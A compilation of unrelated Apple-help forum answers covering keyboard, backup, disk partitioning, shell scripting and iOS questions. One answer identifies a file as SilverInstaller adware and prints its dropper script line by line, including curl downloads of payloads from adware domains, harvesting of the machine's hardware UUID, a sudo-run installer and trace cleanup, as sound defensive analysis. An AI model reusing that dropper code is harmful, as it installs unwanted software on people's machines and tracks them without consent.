Figured there would be countless others thinking "Surely there must be a way to properly remove USB devices from my iPad...". Short answer: nope.


Keyboard acts as if the Command key is depressed 100% of the time

Not sure if this fixes it but It's worth a try:

Open the on screen keyboard viewer and click on the cmd key:

When I have the cmd key pressed down it now becomes unpressed.

If you're not sure where you can find the on screen keyboard viewer it can either be here or you have to enable "Show Keyboard & Character Vieuwers in menu bar" under your keyboard settings. And then click on show keyboard viewer in under the icon in the menu bar. Or just google how to show the on screen keyboard ;)


You can unjailbreak an iPod or any other iDevice by restoring the device from a previously unjailbroken backup or you can download the latest update from Apple for your device and install that. IF there is one.

Apple doesn't want people jailbreaking so all you have to do is update the IOS or restore to an old non-jailbroken copy and it will 'unjailbreak' it.


iPhone 3 cannot login with existing Apple ID

You need to enter:

[Your Password][Your Verification Code]

into the password field (without the brackets).

For example, if my password was TerriblePassword and my verification code was 123456, I would enter:

TerriblePassword123456

Source: Apple's Support Page (Thanks @redarm!)


In all likelihood, yes. I haven't tested this exactly, but if Time Machine detects missing files, it may run into some problems, or have to re-backup a significant portion. Part of Time Machine's versioning relies on hard linking lots of files, so when previous versions it expects to see around aren't there, bad things could happen. It's a bit of an opaque system, so it's hard to say for sure, but it's best not to muck around with your backups.

If you want some redundancy (which is certainly a good idea for your backup system), I'd suggest one of two options. The first one is to simply set up two netatalk shares as Time Machine destinations. OS X can handle multiple Time Machine disks just fine, so you may as well take advantage of that feature. Just periodically rotate which share is online.

The second option is to clone the backup disk on the server end. You'd probably want to do some sort of check to make sure it's not being actively written to, but you should be able to do a simple rsync of the data (making sure that the proper options are there to preserve resource forks, etc.) and have a second copy of your backup.


Remove characters on the left, until the beginning of the word: Ctrl+W
Clean up the line: You can use Ctrl+U to clear up to the beginning.
Recall the deleted command: Ctrl+Y
Cancel the current command/line: Ctrl+C


Carbon Copy Cloner is my recommended way to migrate a hard drive. It's like SuperDuper, but free. Does enough to get the job done.

I wouldn't rely on Time Machine. There's quite a bit of stuff that's excluded from Time Machine by default. And it doesn't always follow symlinks around your file system properly when backing up. For example, I had trouble with it backing up duplicates of a few files installed by Homebrew instead of the symlinks that they were. It de-linked them. That could wreak havoc on your Homebrew install if you were to restore from it.


Apple watch series 3 microphone stops working after watch OS 6 update

iOS update seems to be related. The phone is an iPhone 11.

iOS 13 - Killed both speaker and microphone (e.g. The Micky watch face stops announcing time; the face time counterparty cannot hear what is spoken to the watch; Siri cannot get user's voice command)

iOS 13.1 - Speaker works again (The Micky watch face can announce the time). Microphone remains nonfunctional.

iOS 13.1.1 - Both speaker and microphone stop working.

At the end I have to take the watch to Apply twice. At second visit they took it back for repair.

In summary: The watch needs to be repaired.


How can I remove or hide the stocks app from Apple Watch?

You can delete the stocks app from your phone on iOS 10 - and that removes it from the watch. There isn't a way to have it on the phone but not on the watch.
There were currently no workarounds, jailbreaks or non-obvious ways hide and minimize the stocks app on the Apple Watch apps display on iOS 9 and associated watch OS. The rest of this answer applies if you cannot upgrade to iOS 10 and watchOS 3.
Consider making a long tail arrangement of apps placing the ones you don't want to see to the end of the line.

In practice, you'll see the few apps centered around the clock face central point of the graph.
p.s. still can’t remove the stocks app on watchOS 7.1 - the beatings will continue until morale improves.


I can use my watch to ping my phone, but how can i use my phone to ping my watch

Actually, there is a way for you to do this so long as you have Find My iPhone activated in your iCloud settings. If so, do the following:

On your iPhone launch the Find iPhone app
In the bottom half of the screen you should see all of your devices, including your Apple Watch
Tap on the Apple Watch listing
Now at the bottom centre of the next screen you’ll see the word "Actions" - tap on this
Now tap on the Play Sound option
Your Apple Watch will now vibrate and play a sound until you dismiss it

NOTE: You can also do this from other Apple devices, or from logging into iCloud from a web browser on any computer.

For more information, refer to If your Apple Watch is lost or stolen on Apple's website.


Dvorak keyboard layout with international character support?

The Dvorak keyboard layout on Macintosh already has international character support, the exact same support found in the US keyboard layout. There is no need to switch from one to the other if your primary language is English and you need to type occasional words or sentences in other Western European languages.

I have been using the Dvorak layout on Mac since about 1988, and for all the years since then, I have been using it to type in English, French, Spanish, Italian and German, without any modification or re-mapping of keys at all. The "dead-key" diacriticals are all available; it is only a matter of memorizing their locations.

Dvorak

Dvorak with Option key held down to show "dead-key" diacritical combinations along with other characters needed in Western European languages

U.S. layout

U.S. layout with Option key held down to show "dead-key" diacritical combinations. Note that the exact same set of "dead-key" diacriticals are available on both the Dvorak and U.S. layouts, and they are assigned to the exact same keys although those keys are of course in different physically-mapped locations. The same goes for all the other characters used in other Western European languages.

If you need other characters that are not provided on either the U.S. or Dvorak keyboard layouts, then of course you should investigate other keyboard layouts specific to other countries, nationalities and languages.

[Just last week I had to use Adobe InDesign and WordPress to handle text from an orchestra concert program including two words in Czech with characters that I had not encountered before, and neither of these keyboard layouts provide support for that!]


In the settings app, get the MEID and have your cellular carrier provision for that number.

CDMA isn't something you can self enroll unless your carrier lets you enter that information into a web portal or other self-service kiosk.

In the US, CDMA carriers still put in a SIM which carries an IMEI for the appropriate carrier, but I don't recall ever having them request that number.

In short, contact your local carrier for assistance.


Need a dock/cable that can charge through AC while connected to USB

I have an old Belkin TuneSync Charging dock, which also is a 5-port powered USB hub, that does the trick. The specs don't say that it works with iPhones, but mine worked just fine with both my iPhone 3G and now with my iPhone 4. I think the spec was just written before iPhones were available, as the unit was introduced back in 2005.

Belkin doesn't seem to still be making them, but they are still readily available. I just found it via Amazon:

http://www.amazon.com/Belkin-TuneSync-Charging-Dock-White/dp/B000BMVIQ2


Can I use the T-mobile contract free iPhone 5S with my AT&T number?

Yes, as long as you buy it from Apple's online store.


How do I capture a screenshot of an iPad app that has a lot of HORIZONTAL scroll?

Take screenshots each page, then combine them together in an app like Photoshop where the extra UI can be removed from each intermediate image. There's no automated way of doing this on the device.


(Optional:) backup the content of the volume "Backup". If the volume is empty don't backup anything.
Boot to Recovery Mode by pressing cmdR.
Open Terminal from the menubar -> Utilities
Enter diskutil list to get an overview.
Determine the sequence of the partitions on the RAID.
Quit Terminal and open Disk Utility

If the sequence is (1: EFI) - 2: Parallels - 3: Untitled - 4: Backup either choose the superior Apple RAID device, "Erase" and repartition the RAID disk if you don't want to preserve "Backup" or choose the superior Apple RAID device, click "Partition", choose the "Untitled" partition in the new overlay and click the "-" button to combine "Parallels" and "Untitled" if you want to preserve "Backup". In the latter case choose the enlarged partition "Parallels" and click "Erase" to create a new HFS+ file system and rename the volume.

If the sequence is different consider the following rule: If you choose a partition x (with x ≠ 1 or 2) and click the "-" button the partition will be combined with partition (x-1) and only the content of partition (x-1) will be preserved.
Quit Disk Utility and reboot to your main system.
Remove any remains of Parallels 3.0 as indicated in user3439894's comment: How to remove Parallels Desktop 3 Completely?.


How to make Visual Studio Code run python 2.7.15

Start VScode and open your python script. Using either the command palette or the status bar, select the python interpreter you wish to use. Both options present a list of available interpreters. Now you may run your code by right-clicking in the edit window and selecting "Run python file in terminal". A terminal window opens below the edit window and your code executes there. Note: You must execute your code using the right-click technique described above. Other methods, such as using the command palette with "run: code", will not work


Is there a way to hide the text in the left hand column in Messages?

Yes, just drag the divider to the left.  It will shrink that area so that all you see is the names, not any of the text.


using find my phone to "track" kid does it send email or other notice to kid?

Instead of using "find my iphone" use the "find friends" app. It's from Apple and I use it all the time.

I saw that the OP was using the wrong tool for the job. “Find my phone” does send notices as a feature. Of course if the OP wants to find a lost or stolen phone it’s the right tool and the emails wouldn’t be an issue.

If the user wants to “track” the other user, however, then “Find Friends” is the correct tool to use


I don't have really solid information, but I've just had a similar experience and resolved it. My gen 6 120 gb ipod has been running Rockbox for several years; I just hooked it up to my (Linux) computer to put some new music on the device. I umounted the drive ok, and when I unplugged the USB cable the iPod just went dead. Linux didn't recognize it, Win 7 didn't recognize it, iTunes didn't either, nothing lit up when I tried to turn it on. Tried every possible combination of button pushing and holding.
Finally I decided to just plug in the USB to my running Linux box and go out for some dinner. An hour later Linux recognized the drive and mounted it, and just for insurance I used RockboxUtility to update the system before unmounting and rebooting successfully.
btw I'm quite sure the battery wasn't dead. Windows and iTunes will recognize a dead-battery iPod. I have no idea what this was. Wait, yes I do, the music I had loaded just before disconnecting the device and having it die was not playable on the newly revived iPod. Got a message like "cannot load" when I clicked on those songs. That MIGHT have caused the problem.


Make and create Live USB Linux for Mac? How?

Download the desired .img file
Open a Terminal (under Utilities)

If you have and .iso file, you could convert to .img with the command hdiutil convert -format UDRW -o ~/path/to/target.img ~/path/to/source.iso.

Run diskutil list to get the current list of devices
Insert your flash media
Run diskutil list again and determine the device node assigned to your flash media (e.g. /dev/disk2)
Run diskutil unmountDisk /dev/diskN
Execute sudo dd if=/path/to/downloaded.img of=/dev/diskN bs=1m
Run diskutil eject /dev/diskN and remove your flash media when the command completes

Restart your Mac and press ⌥/⌘ key while the Mac is restarting to choose the USB stick.


The system management controller (SMC) is responsible for controlling fan speeds. This support document describes increased fan speeds as a symptom of SMC problems and how to reset the SMC


How can I find the “friendly name” of the operating system from the shell / Terminal / bash?

Offline Method
This command should find what you're looking for:
awk '/SOFTWARE LICENSE AGREEMENT FOR macOS/' '/System/Library/CoreServices/Setup Assistant.app/Contents/Resources/en.lproj/OSXSoftwareLicense.rtf' | awk -F 'macOS ' '{print $NF}' | awk '{print substr($0, 0, length($0)-1)}'

It's based off the answer found here.  It's tested to work in High Sierra and should work in Mojave.
Online Method
You can also do this online (which is actually what populates "About this Mac" dialog shown in the question):
curl -s https://support-sp.apple.com/sp/product?edid=$( sw_vers -productVersion ) | xmllint --format -xpath "//root/configCode/text()" -

This command will query Apple's server with your poduct version and will extract the OS name from the XML response.  To see the full XML response, simply omit the --xpath "//root/configCode/text()" option:
curl -s https://support-sp.apple.com/sp/product?edid=$( sw_vers -productVersion ) | xmllint --format  -

Response:
<?xml version="1.0" encoding="utf-8"?>
<root>
   <name>CPU Name</name>
   <configCode>macOS High Sierra</configCode>
   <locale>en_US</locale>
</root>


Not that I know of, but there's a potential workaround - I don't know whether this would be any use to you.

Make a new event, call it myDefault, set all your reminders as you want them to be.
Any time you make a new event, start typing myDefault - it will auto-suggest that previous entry, but at the date you double-clicked. It will fill it with the previous data, shifted to the new time.
Accept it, then change its name.

You can set several of these, named appropriately - the one thing you can't do is dictate which calendar group they belong to, so you'd have to make sure to generate the name to match the group it's going to belong in manually.


How to get rid of underlines under URLs in Textmate 2?

I believe you can edit your bundles and remove the Hyperlink Helper bundle. Pretty sure that's what I did.


BK3001BA Keyboard not connecting after entering correct passcode

So in my experimenting I stumbled upon the Bluetooth file transfer app. I was desperate it seems so I tried sending a file to my keyboard. It ended up connecting and entering the passcode worked this time. No clue why, but it worked somehow.

I couldn't find anything like this via google, although a few people seemed to have the same problem, so leaving it here.

Thanks


MacOS GPT Messed up File System ('FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF')

The first partition (the EFI partition) is mislocated. It should start at block 40 and end at block 409639 (=moved by 6 blocks towards the end of the disk).

In Recovery Mode you can simply remove the first partition and add it again properly aligned:

gpt remove -i 1 /dev/disk0
gpt add -i 1 -b 40 -s 409600 -t C12A7328-F81F-11D2-BA4B-00A0C93EC93B disk0

This apparently(?) solved the problem and the Mac booted again properly.

To verify the integrity of the APFS container afterwards enter:

diskutil list #to get the device number of the APFS container scheme device (probably disk1)
diskutil verifyVolume disk1

The result should be: Storage system check exit code is 0!


How to make command run in terminal? Command not found

Since the directory above has a space included, you'll need to enclose the directory in quotes for it to work properly:

PATH=$PATH:"/Applications/Couchbase Server.app/Contents/Resources/couchbase-core/bin"

In order to load the new PATH after you add the above line to your .bash_profile (you can create this file if necessary. in your home folder), you should either open a new Terminal window, or type:

source ~/.bash_profile

You can check to see if it is correct by typing:

echo $PATH

It should show the directory you've added.

Also, any time an executable is not in the PATH you need to give a proper (absolute or relative) path to the executable in order for it to run. The relative path to the PWD (present working directory) is ./, e.g. ./cbtransfer.

It is possible that your default shell is not BASH, type

echo $SHELL

to check this.

The benefit of adjusting your path in this fashion is that the change will persist across terminal sessions and reboots. You can alternately use an export command to set your path for a current terminal session.


How to use drag and drop to move files instead of copying

I assume there is no defaults switch for this situation, otherwise someone would have helped already. But using the keyboard, you could move the files like this: ⌘+C, then ⌘+alt+V to paste at the desired destination. It’s like cut & paste on Windows, only Mac style. Also, works across volumes!


Cannot change login wallpaper in 11.x Big Sur?

FileVault has to be OFF, to use a non-system sealed shapshot to boot Big Sur


Every update also shows how much space is needed. It will also check that for you when you try to update and let you know.

If you have some free space, but not enough to update over the air, you can either update using iTunes or delete content manually from your device. Whether you use iTunes or update over the air, you'll have the same amount of free space on your device after you update.

Before you start make sure you know your AppleID and password.


How do you upgrade/update every package on your Mac?

After asking this question many places, I've refined the function to be both more comprehensive and predictable (runs the updates in serial, instead of parallel).

This is the final result in my .zshrc:

function update () {
  softwareupdate --install --all
  (brew update && brew upgrade && brew cleanup && brew doctor)
  mas upgrade
  npm update -g
  (pip3 list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip3 install -U)
  (gem update --system && gem update && gem cleanup)
  upgrade_oh_my_zsh
  (cd ~/.vim_runtime && git pull --rebase)
}


To the best of my knowledge, there's no way to disable copying that way. If someone can read a file, they should be able to copy it. Sorry!


Can my iPad and iPhone share iTunes, but have different game centers? Trying to merge

Yes! Just go to Settings - GameCenter and you can sign in using the applicable Apple ID you want to use for that service.

You can use a different Apple ID for each individual Apple service (iTunes/App Store, iCloud, iMessage, FaceTime, GameCenter)–you just need to go to their settings page and sign in with the one you want.

Do keep in mind that some games use iCloud to store their game data, which may affect your plan.


Since iTunes won't back up the apps, I tried taking the files, e.g. Evernote 7.9.1.ipa, etc, and moving them from the iTunes 11 to iTunes 12.

When at the Yosemite machine running iTunes 12, a double click of the app loaded it to the folder where apps are stored and pulled it into iTunes to sync.

Now, I'll spend a bit of time and look at the old phone to see which apps I use and would like to keep. Just a click to load each one, at least not a search and download off the store.


How to modify .GlobalPreferences.plist file?

In order to toggle the state of Text Substitutions by swapping the ~/Library/Preferences/.GlobalPreferences.plist file, you would need to have a way to update the cached copy of it in memory. If you are an Objective-C programmer and have Xcode you could roll-your-own app to update the file and what's cached in memory. Sans that, here is a method using a third-party command line utility, shortcuts, and a shell script that works for me.
The bash shell script I've written uses the shortcuts binary executable to backup, delete and restore the Text Substitutions. The backup and restore are simple and straight forward compared to deleting the Text Substitutions as shortcuts can only delete one shortcut at a time. It's relatively quick. I have 200+ items in my Replace | With list and the script takes ~4 seconds to delete them, and a fraction of a second to restore them.
This was tested under macOS Catalina and macOS Big Sur with Language & Region settings in System Preferences set to English (US) — Primary and worked for me without issue1.

1  Assumes necessary and appropriate setting in System Preferences > Security & Privacy > Privacy have been set/addressed as needed.

Note: First make a manual backup of your Text Substitutions by going to System Preferences > Keyboard > Text, pressing ⌘A to highlight all entries of Replace | With list, then click-hold with the mouse, then drag and drop to the Desktop, or any folder of a Finder window.
This will create a file named Text Substitutions.plist that can be dragged and dropped onto the Replace | With list in System Preferences > Keyboard > Text to manually restore.
The example shell script code in conjunction with the shortcuts command line utility does it own backup and restores from its backup, but always make the manual backup described above just to have if ever needed.

Install shortcuts by one of the methods mentioned in the link.
I downloaded the source code, reviewed and verified there was nothing ominous in the code, then built it using Xcode.
It's also available thru Homebrew, in Terminal brew install rodionovd/taps/shortcuts, or download as a pre-built binary.

Note: The following instructions and example shell script code are for use as an executable shell script in Terminal, and or can be used in a Run Shell Script action in an Automator Service/Quick Action and assigned a keyboard shortcut in: System Preferences > Keyboard > Shortcuts > Services
I'd suggest testing as an executable shell script first to ensure that it works for you, then use the example shell script code in an Automator Service/Quick Action.
In Terminal, run the following compound command:
      Assumes the pwd is your HOME directory.
f=trw; touch "$f"; open -e "$f"; chmod +x "$f"

      Note: trw = Toggle Replace With (Had to name it something.)
In the opened trw document copy and paste the example shell script code into it, then save and close it.
Back in Terminal:
./trw

Will toggle the state of the Text Substitutions.
Note: After testing, move trw to a directory defined in the PATH to be available without typing: ./

Example shell script code:
#!/bin/bash

# set -e
# set -x

shortcuts="/usr/local/bin/shortcuts"
automator=false # true or false

message() {
    [ "${1}" == "xmissing" ] && msg=" The 'shortcuts' executable is missing!"
    [ "${1}" == "already" ] && msg=" The text substitutions deletion is already in progress!"
    [ "${1}" == "backedup" ] && msg=" The text substitutions have been backed up."
    [ "${1}" == "nobackup" ] && msg=" No text substitutions to backup or restore!"
    [ "${1}" == "restored" ] && msg=" The text substitutions have been restored."
    [ "${1}" == "deleting" ] && msg=" The text substitutions deletion is in progress..."
    [ "${1}" == "finished" ] && msg=" The text substitutions deletion has completed."
    [ $automator == false ] && printf '%s\n' "${msg}"
    [ $automator == true ] && printf '%s\n' "$(date -j) ${msg}" >> message.txt
    [ $automator == true ] && [ -n "${2}" ] && \
    osascript -e "display notification \"${msg}\" with title \"Toggle Replace With\""
}

backupdir="$HOME/Library/Application Support/com.$USER.shortcuts"
[ ! -d "${backupdir}" ] && mkdir -p "${backupdir}"
cd "${backupdir}" || exit
backup="${backupdir}/Text_Substitutions.plist"
lockdir="/private/tmp/com.$USER.shortcuts"
[ ! -e "${lockdir}" ] && mkdir -p "${lockdir}"
cd "${lockdir}" || exit

if [ ! -x "${shortcuts}" ]; then
    message "xmissing"
    [ $automator == true ] && message "xmissing" "notification"
    exit
fi

if [ -e ".lock" ]; then
    message "already"
    [ $automator == true ] && message "already" "notification"
    exit
fi

contents="$(defaults read -g NSUserDictionaryReplacementItems)"
empty='(
)'

if [ ! -e "${backup}" ] && [ "${contents}" != "${empty}" ]; then
    "${shortcuts}" read --as-plist | tee "${backup%.*}.$(date '+%s').plist" > "${backup}"
    message "backedup"
elif [ -e "${backup}" ] && [ "${contents}" != "${empty}" ]; then
    "${shortcuts}" read --as-plist | tee "${backup%.*}.$(date '+%s').plist" > "${backup}"
    message "backedup"
elif [ ! -e "${backup}" ] && [ "${contents}" == "${empty}" ]; then
    message "nobackup"
    [ $automator == true ] && message "nobackup" "notification"
    exit
fi

if [ "${contents}" == "${empty}" ]; then
    "${shortcuts}" import "${backup}"
    message "restored"
    [ $automator == true ] && message "restored" "notification"
else
    touch ".lock"
    message "deleting"
    [ $automator == true ] && message "deleting" "notification"
    while IFS= read -r line; do
        "${shortcuts}" delete "${line}"
    done <<< "$("$shortcuts" read | awk 'sub(/^"/, "", $2) sub(/"$/, "", $2) $1 ~ /^[0-9]+:/ { print $2 }')"
    sleep 1
    rm ".lock"
    message "finished"
    [ $automator == true ] && message "finished" "notification"
fi

Notes:
As coded, the example shell script code assume the shortcuts executable is located at /usr/local/bin/shortcuts, change as applicable. It is coded like this as /usr/local/bin/ is not in the PATH passed to a Run Shell Script action in an Automator Service/Quick Action.
The first time the shell script is run it creates a backup of the Text Substitutions to restore from, so it is imperative that there actually be some text substitutions to backup! A current backup is made each time prior to deleting them from the ~/Library/Preferences/.GlobalPreferences.plist file and is restored from the last backup.
The reason a third-party application is being used is in this use case it does something that the macOS default utilities cannot do, which is dynamically update the changes to the system. In other words, the defaults command as well as the /usr/libexec/PlistBuddy command in this use case does not update the system to the changes and has the same issue as swapping out the ~/Library/Preferences/.GlobalPreferences.plist file.
When using the example shell script code in a Run Shell Script action in an Automator Service/Quick Action, you need to set automator=true in the line after, e.g., shortcuts="/usr/local/bin/shortcuts"
Backups are saved to:
$HOME/Library/Application Support/com.$USER.shortcuts/Text_Substitutions.plist

The example shell script code when run as an executable shell script outputs messages to stdout and you see them as you go, however, when used in a Run Shell Script action in an Automator Service/Quick Action messages are displayed in Notification Center and also log to:
/private/tmp/com.$USER.shortcuts/message.txt

I will try you add comments to the code and or add additional notes here in the next couple of days.

Disclaimer Note: The example shell script code is just that and sans any included error handling does not contain any additional error handling as may be appropriate. The onus is upon the user to add any additional error handling as may be appropriate, needed or wanted.


What happens to application data when I update vs uninstall an iOS app?

It's a delete and re-install. A new copy is downloaded from the AppStore, and the actual application file is deleted off the device, and then re-copied. It's the same operation as when you uninstall, just with an immediate install.

The data for the application is kept separately, and when you choose to delete an application via the springboard, it will prompt you to delete the data associated with the application.

When updating, it is assumed that you want to keep this data, and it is also part of the backup that is made when the device is backed up.


Login Window not blacking out my screen?

I assume that you've selected "Start Screen Saver" in the hot-corner in question, correct?

If so, what screen saver do you currently have configured?

The reason that I ask is that some screen savers (although none of the ones that come with your Mac) start with the current desktop image and then apply special effects to it over time.   So I can imagine if..

you've configured your screensaver
to    shuffle through screen savers,
and
you have installed one of the
aforementioned screensavers,

...that this combination could produce the kind of symptoms you are describing.

Edit:  Interesting.  I don't even have "Lock Screen" as one of the choices on my machine:

Edit 2:  I had never tried that option until now.   I set up my laptop (model identifier MacBookPro5,2, 2.93 Ghz) as you described and put the display to sleep with that hot corner and woke it up over & over again.  I went through about 50 iterations, and I was able to reproduce your problem 3 times in that span:  the display would appear to blank, but when it woke up I could see my desktop with the login panel overlayed.

Because this kind of configuration involves invoking the special power-management circuitry in the machine, there are more moving parts that can go wrong in the process.  I believe you have little choice other than to report the problem to Apple, and even if there is a real bug, there will be a chance that the bug is in the power-management circuitry itself and the 'fix' might only come when you can buy a new machine.   Or not.  Maybe you could get lucky and there this could be fixed by a firmware update or a point-release of the OS.

I like this option, now that you have pointed it out to me.  I like that it immediately puts the display to sleep, which makes me feel better about how my battery is being used.  Alas, if blanking the screen and keeping it from prying eyes is a higher priority, maybe you should use the "Start Screen Saver" option instead, and set the screensaver to something mostly black like the "Computer Name" screensaver.

I wish I could offer more help.


What determines the width of the cone in the Maps app?

I believe it's related to the accuracy of the compass.  In my experience, the compass is quite inaccurate and maps do not align perfectly with real life, but usually the actual alignment is somewhere in the cone (I say usually because sometimes they're so inaccurate that it's outside even that, especially when I'm inside a big metal car).  This is similar to the blue circle around the dot that represents uncertainty in your location.

It probably changes its acuteness because the compass becomes more and less accurate over time.  The angle of the device may have something to do with this (based on the built-in compass app and personal experience, the compass seems to be more accurate when the device is laid down flat).


I ended up having to delete all music and videos, disable Match, and then re-enable/sync from Match.  Glad it was not more destructive.


The app will not be rejected if it provides functionality outside the scope of the standard website.
Apple only rejects apps which are specifically just wrappers on a site.
Example, I wrote an app that was basically a wrapper on a site, they rejected it, I added the ability in a second tab to draw and post the pic to the site (a novel feature), they approved it.


Including virtual environment in bash prompt

You can activate a virtual environment for conda by running

conda activate base

Replace base with whatever (defined) conda environment you want to use.

pse@Mithos:~$ export PS1="\[\e[30;47m\]\W\[\e[30;47m\]$\[\e[0m\]"
~$cd .tmp
/Users/pse/.tmp
.tmp$conda activate base
((base) .tmp$conda deactivate
.tmp$


Does Mobile Safari have an image file size limit?

This official article what you are looking for. As expected there is no file size limit, the answer is more complex and depends on the device memory and image compression algorithm used:

  The maximum size for decoded GIF, PNG, and TIFF images is 3 megapixels
  for devices with less than 256 MB RAM and 5 megapixels for devices
  with greater or equal than 256 MB RAM. That is, ensure that width *
  height ≤ 3 * 1024 * 1024 for devices with less than 256 MB RAM. Note
  that the decoded size is far larger than the encoded size of an image.
  The maximum decoded image size for JPEG is 32 megapixels using
  subsampling. JPEG images can be up to 32 megapixels due to
  subsampling, which allows JPEG images to decode to a size that has one
  sixteenth the number of pixels. JPEG images larger than 2 megapixels
  are subsampled—that is, decoded to a reduced size. JPEG subsampling
  allows the user to view images from the latest digital cameras.
  The maximum size for a canvas element is 3 megapixels for devices with
  less than 256 MB RAM and 5 megapixels for devices with greater or
  equal than 256 MB RAM.


iPhone app to follow/navigate an imported .gpx

Gaia GPS is what you're looking for. Costs $20 USD on the App Store, but the best at what it does.


This worked for me in Mavericks. My App Store app wasn't responding and someone suggested resetting the NVRAM. It's done the same way as you used to reset the PRAM - during Restart, hold down p+r+option+command until you hear the startup chimes a second time, then release the keys. Can't hurt, anyway.


Try disabling iTunesHelper.app:

Remove iTunesHelper from Login Items.
Rename iTunesHelper.app in /Applications/iTunes.app/Contents/MacOS/ to something else (e.g. iTunesHelper-disabled.app).


Messages will not login; just sits and spins

My logic board was recently replaced in this Macbook and the vendor never serialized the newly installed logic board. I discovered this by going to "About This Mac" and seeing the serial number being reported as "Unknown".

The vendor corrected this actually applying a serial number to the logic board, which required specialized software that they had to boot off of from a DVD.

Once the serial number was applied then Messages worked just fine.


What is this unknown executable on my boot volume? Is it Malicious?

This is SilverInstaller, adware to download more adware and ‘potentially unwanted programs’. This was likely distributed through fake Flash popups, which someone on the system clicked on, downloaded, opened, installed and provided administrator credentials to.

Installed software in this package likely includes

  MacKeeper, VSearch, A Pirrit injector, BrowserEnhancer, MPlayer

all of which you most certainly don't want.

https://www.intego.com/mac-security-blog/silverinstaller-uses-new-techniques-to-install-puapup/
https://www.intego.com/mac-security-blog/silverinstaller-sneakier-than-previously-thought/

I'll break down the code

#!/bin/bash

This code is script to be interpreted by bash, noted by this shebang.

func_4(){

Begin a function declaration including body to be called later on.

/bin/mkdir -p /var/tmp

Make sure the tmp directory exists to be used for temporary storage of the malicious payloads later on.

/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs

Download and extract the first malicious payload. sr_v2.tgz is BrowserEnhancer. The payload contains a dvs directory.

mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

Get a unique identifier for this machine to be used later.

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then

Try some region matching to decide what to do next. I say ‘try’ because this doesn't work when the region is hard-coded in the script.

    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="

Call to an external script with some more fancy adware domains.

else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

This bit never gets executed as mentioned.

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

Grab another payload.

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

Clean up, removing the files created and dropped earlier in the script, after a delay given that the files would have been used by then.

}
func_4 &

Function all ready to go, time to call it.


Can workplace IT settings interfere with iCloud bookmark settings?

From this Apple Support document detailing TCP and UDP ports used by Apple software, iCloud uses these ports:

25   - smtp
80   - http
443  - SSL (HTTPS)
587  - Authenticated smtp
993  - SSL IMAP
5223 - DAV services

My guess is that it would be port 5223 which being blocked by your company.

As for your company's IT being 'overzealous', they are only doing exemplary due diligence protecting their network and server infrastructure, as well as any user (you) who connects, from nasties out there who would cause harm.


Logic Pro X images replaced by words fix?

This happens when you switch Logic Pro to use the Advanced Tools settings.

To change this back, go to Logic Pro > Preferences > Advanced Tools... and uncheck the "Show Advanced Tools" checkbox. Once you have done that, Logic will be back again to the simplified Garageband layout, including the items you have shown in your screenshot on the top.

The downside is that you lose access to the advanced features in Logic Pro when do this.


how to open fiddler saz files on mac or online?

TextWrangler is a free piece of text editing software that is capable of opening these files.
http://www.barebones.com/products/textwrangler/

You can also unpack them by changing the extension to .zip and unzipping normally.
http://fiddler.wikidot.com/saz-files


You can rearrange your applications from within iTunes and then Sync.

Connect your iPhone and open iTunes, then click on your phone and then Apps:

Also, consider using folders to organize your apps.

  Organize apps into folders with drag-and-drop simplicity. Get faster access to your favorites and browse and manage thousands of apps.


How do I use Split View in OS X 10.11 El Capitan?

It appears that I was doing it wrong.  I don't see a way to enable split-screen from just two fullscreen windows in mission control.  Nor do I see a way to enable it from two regular windows.  But if you have one fullscreen window and one regular window, you can drag the regular window onto the fullscreen in mission control, and it will create a split-screen view.

I tried this successfully with Safari, Finder, and Chrome.


Why Wi-Fi is getting turned-on automatically in iOS 11

Source:

Beginning in iOS 11, the system will automatically try and reconnect to known devices using Bluetooth and Wi-Fi at 5am every morning (local time) if they have only been toggled off using the Control Center.

You 'fix' this behaviour by turning both radios off inside of `Settings' (depending on your device locale and language, "Wi-Fi" might also be named "WLAN" as in the pictures below):

Open Settings -> Wi-Fi.
Switch the Wi-Fi radio button to off.


Cannot input password when selecting network SSID to perform internet recovery

Are you connecting to a WPA2 Enterprise network (like the ones found at a school or job)? These networks require an additional certificate to be installed which is unsupported in the simplified Recovery Mode.

Also won't connect to Wi-Fi if you need to click Accept (like the ones in coffee shops and hotels).

Can you use the network normally from a different device? If yes then the network is not compatible with Recovery Mode.


Is there an app (like Spotlight) that can index external drives and return search results when the drive is not connected?

I haven't used it in quite some time, but the go-to app for me, way back from System 9 days was CDFinder, now called NeoFinder & still maintained by its author, right up to Catalina.
I used to use it for cataloguing dozens of backup & old project CDs & DVDs. It would do exactly what you require - find a file, tell you what drive it is on, then once you insert that drive, pop open at that location.
Simple yet effective.


Like all the comments say, "install macOS fresh."

